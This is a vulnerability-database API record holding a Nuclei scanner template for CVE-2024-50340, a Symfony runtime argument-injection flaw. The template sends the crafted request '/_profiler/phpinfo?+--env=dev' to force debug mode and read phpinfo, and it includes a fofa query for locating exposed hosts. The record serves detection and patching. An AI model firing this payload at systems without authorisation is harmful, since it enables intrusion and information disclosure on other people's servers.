{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-50340/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-50340/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-50340/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-50340/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-50340/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-50340"},"sightings":{"href":"/api/v1/sightings/cve-2024-50340"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-50340.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2024-50340\n\ninfo:\n  name: Symfony Profiler - Remote Access via Injected Arguments\n  author: DhiyaneshDK\n  severity: high\n  description: |\n    symfony/runtime is a module for the Symphony PHP framework which enables decoupling PHP applications from global state. When the `register_argv_argc` php directive is set to `on` , and users call any URL with a special crafted query string, they are able to change the environment or debug mode used by the kernel when handling the request. As of versions 5.4.46, 6.4.14, and 7.1.7 the `SymfonyRuntime` now ignores the `argv` values for non-SAPI PHP runtimes.\n  impact: |\n    Attackers can exploit vulnerabilities to compromise the system.\n  remediation: |\n    Update to the latest patched version addressing CVE-2024-50340.\n  reference:\n    - https://github.com/symfony/symfony/commit/a77b308c3f179ed7c8a8bc295f82b2d6ee3493fa\n    - https://github.com/symfony/symfony/security/advisories/GHSA-x8vp-gf4q-mw5j\n    - https://blog.nollium.com/cve-2024-50340-remote-access-to-symfony-profiler-via-injected-arguments-d2f14b4f6ad7\n    - https://github.com/nollium/CVE-2024-50340-eos-exploit\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-50340\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L\n    cvss-score: 7.3\n    cve-id: CVE-2024-50340\n    cwe-id: CWE-74\n    epss-score: 0.61834\n    epss-percentile: 0.99177\n  metadata:\n    verified: true\n    max-request: 1\n    fofa-query: 'body=\"<div id=\\\"symfony\\\">\" || header=\"Set-Cookie: symfony\"'\n  tags: cve,cve2024,symfony,phpinfo,vuln,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(tolower(body), \"symfony\")'\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/_profiler/phpinfo?+--env=dev\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"PHP Extension\"\n          - \"PHP Version\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        part: body\n        group: 1\n        regex:\n          - '>PHP Version <\\/td><td class=\"v\">([0-9.]+)'\n# digest: 4b0a00483046022100d1b71aca02302eced929378e09647f19c17a0cd871b124c88eb1c5d18eb136d0022100936c854b0d1d719c7a1fe1196b3414df58f62ac4373236135920d61372542ec3:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2024-50340"}